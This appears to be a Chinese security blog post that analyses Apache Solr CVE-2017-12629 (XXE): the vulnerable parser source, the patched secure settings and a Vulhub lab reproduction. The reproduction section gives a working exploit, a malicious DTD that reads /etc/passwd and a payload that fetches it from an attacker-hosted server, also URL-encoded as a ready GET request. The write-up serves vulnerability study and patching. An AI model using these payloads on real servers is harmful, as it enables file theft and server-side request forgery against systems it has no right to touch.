当前位置: 首页 > news >正文

CVE-2017-12629-XXE源码分析与漏洞复现

漏洞概述

漏洞名称:Apache Solr XML实体注入漏洞(XXE)
漏洞编号:CVE-2017-12629
CVSS 评分:9.8
影响版本:Apache Solr < 7.1.0,Apache Lucene < 7.1
修复版本:Apache Solr 7.1.0

CVE-2017-12629 是 Apache Solr 中的高危 XML实体注入(XXE)漏洞。攻击者通过向 Solr 的 XML 查询接口(defType=xmlparser)发送恶意构造的 XML 数据,触发外部实体解析,导致 任意文件读取内网探测SSRF攻击。该漏洞的核心问题在于 Solr 的 XML 解析器未禁用外部实体加载,且默认开放高危查询功能。


技术细节与源码分析

1. 漏洞成因
  • XML解析器未禁用外部实体
    Solr 的 xmlparser 查询解析器(基于Lucene的 CoreParser 类)在处理用户输入的 XML 数据时,未配置安全参数(如禁用 DTD 或外部实体),导致攻击者可注入恶意实体引用。
  • 默认高危接口开放
    Solr 的 /select 查询接口默认启用 defType=xmlparser,且无需身份验证,为攻击提供直接入口。
2.漏洞触发路径源码解析
1. 用户请求入口

当用户发送包含恶意XML的查询请求时:

GET /solr/demo/select?q=<!DOCTYPE xxe [...]>&defType=xmlparser  

Solr路由到XmlQParserPlugin处理请求:

public QParser createParser(String qstr, SolrParams localParams, SolrParams params, SolrQueryRequest req) {  return new XmlQParser(qstr, localParams, params, req); // 创建XML解析器  
}  
2. XML解析入口:XmlQParser.parse()
public Query parse() throws SyntaxError {  String qstr = getString(); // 获取用户输入的q参数(包含恶意XML)  if (qstr == null || qstr.isEmpty()) return null;  SolrCoreParser solrParser = new SolrCoreParser(defaultField, analyzer, this.req);  solrParser.init(XmlQParserPlugin.this.args);  // 关键漏洞点:将用户输入直接解析为XML  return solrParser.parse(new ByteArrayInputStream(qstr.getBytes(StandardCharsets.UTF_8)));  
}  

漏洞点分析

  • 直接通过ByteArrayInputStream将用户输入的字符串转为XML输入流
  • 未对输入内容进行安全过滤或实体限制
3. 漏洞核心:SolrCoreParser.parse()

SolrCoreParser继承自Lucene的CoreParser类:

// 父类方法:org.apache.lucene.queryparser.xml.CoreParser#parse  
public Query parse(InputStream xmlStream) throws ParserException {return getQuery(parseXML(xmlStream).getDocumentElement());// 调用存在缺陷的XML解析方法  } // 漏洞根源方法  
static Document parseXML(InputStream pXmlFile) throws ParserException {DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();DocumentBuilder db = null;try {db = dbf.newDocumentBuilder();// 未配置安全参数!  }catch (Exception se) {throw new ParserException("XML Parser configuration error", se);} Document doc = null;try {doc = db.parse(pXmlFile);// 触发外部实体解析 }catch (Exception se) {throw new ParserException("Error parsing XML stream:" + se, se);} return doc;}

致命缺陷

  1. 未禁用DTD:未设置dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
  2. 未禁用外部实体:缺少以下安全配置:
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);  
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);  
    

XXE利用链图示
[用户请求]  ↓ GET /select?q=<!DOCTYPE xxe [...]>&defType=xmlparser  ↓  
XmlQParserPlugin.createParser()  ↓  
XmlQParser.parse()  ↓ 将用户输入转为InputStream  
SolrCoreParser.parse(InputStream)  ↓  
CoreParser.parseXML()  ↓  
DocumentBuilder.parse()  ↓  
加载外部实体 → 文件读取/SSRF  

漏洞修复方案

修复版本:Solr 7.1.0+
补丁代码

// 修复后的parseXML方法  
static Document parseXML(InputStream pXmlFile) throws ParserException {  DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();  // 新增安全配置  dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);  dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);  dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);  DocumentBuilder db = dbf.newDocumentBuilder();  return db.parse(pXmlFile);  
}  

修复效果

  • 完全禁用DOCTYPE声明
  • 阻止所有外部实体解析
  • 彻底阻断XXE攻击路径

漏洞复现

环境搭建
1.使用 Vulhub 环境启动漏洞靶机
  docker-compose up -d

在这里插入图片描述

2.访问访问 http://target:8983,确认服务正常运行

在这里插入图片描述

攻击步骤(读取敏感文件)
1.创建do.dtd文件读取/etc/passwd文件
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
  • 可以将文件放在vps上,也可以本机在文件目录启动http服务
python -m http.server 80

在这里插入图片描述

2.构造payload
<?xml version="1.0" ?>
<!DOCTYPE x[
<!ENTITY % xxe SYSTEM "http://192.168.1.1:80/do.dtd">
%xxe;
%ent;
]>
<x>&data;</x>
//192.168.1.1:80换为自己的地址
  • url 编码
%3c%3fxml+version%3d%221.0%22+%3f%3e%0a%3c!DOCTYPE+x%5b%0a%3c!ENTITY+%25+xxe+SYSTEM+%22http%3a%2f%2f192.168.1.1%3a80%2fdo.dtd%22%3e%0a%25xxe%3b%0a%25ent%3b%0a%5d%3e%0a%3cx%3e%26data%3b%3c%2fx%3e
3.发送payload
GET   solr/demo/select?q=%3c%3fxml+version%3d%221.0%22+%3f%3e%0a%3c!DOCTYPE+x%5b%0a%3c!ENTITY+%25+xxe+SYSTEM+%22http%3a%2f%2f192.168.1.1%3a80%2fdo.dtd%22%3e%0a%25xxe%3b%0a%25ent%3b%0a%5d%3e%0a%3cx%3e%26data%3b%3c%2fx%3e&defType=xmlparser
//注意后面的&defType=xmlparser

在这里插入图片描述

  • 读取到/etc/passwd文件

总结

CVE-2017-12629的XXE漏洞源于Solr在XML解析链中的三重缺陷:

  1. 输入信任:直接将用户输入作为XML解析
  2. 配置缺失DocumentBuilderFactory未启用安全特性
  3. 协议滥用:允许file://http://等危险协议

通过XmlQParserPlugin→SolrCoreParser→CoreParser.parseXML()的调用链,恶意实体得以执行。


参考链接

  1. CVE-2017-12629 xxe漏洞复现
  2. XXE漏洞原理与Solr修复方案分析
  3. Solr XXE漏洞复现环境(Vulhub)
  4. Java XML解析安全配置指南
http://www.xdnf.cn/news/688735.html

相关文章:

  • 设计模式24——访问者模式
  • 【AUTOSAR OS】 保护功能解析:从原理到应用与源代码解析(下篇)
  • 《Python+AI如何颠覆传统文书审查模式》
  • 【网络安全】——Modbus协议详解:工业通信的“通用语言”
  • JS 逆向太费劲,试试 JS 注入!
  • 服务器上用脚本跑python深度学习的注意事项(ubantu系统)
  • 【第2章 绘制】2.6 阴影
  • 基于stm32LORA无线抄表系统仿真
  • 人工智能在智能建筑中的创新应用与未来趋势
  • 将docker容器保存为镜像,让后将镜像打包保存到本地
  • WPF的基础控件:布局控件(StackPanel DockPanel)
  • React+Antd全局加载遮罩工具
  • 2. 数据结构基本概念 (2)
  • LLM 对齐新范式:深入解析 DPO (Direct Preference Optimization) 的原理与实践
  • Microsoft的在word中选择文档中的所有表格进行字体和格式的调整时的解决方案
  • 180 度 = π 弧度
  • 2025吉林ccpc【部分题解】
  • c++第三天(对象与构造函数)
  • ICDMC 2025:创新媒体模式,迎接数字时代的挑战
  • Redission学习专栏(一):快速入门及核心API实践
  • CORS跨域资源共享解析
  • 算法刷题记录:滑动窗口经典题目解析
  • 【大模型原理与技术-毛玉仁】第三章 Prompt工程
  • web-css
  • 20250528-C#知识:函数简介及函数重载
  • 外部访问可视化监控 Grafana (Windows版本)
  • 扇形 圆形 面积公式
  • 如何在WordPress中选择最佳Elementor主题:专家指南
  • 前端大文件上传-断点续传
  • 影刀RPA-17- 列表练习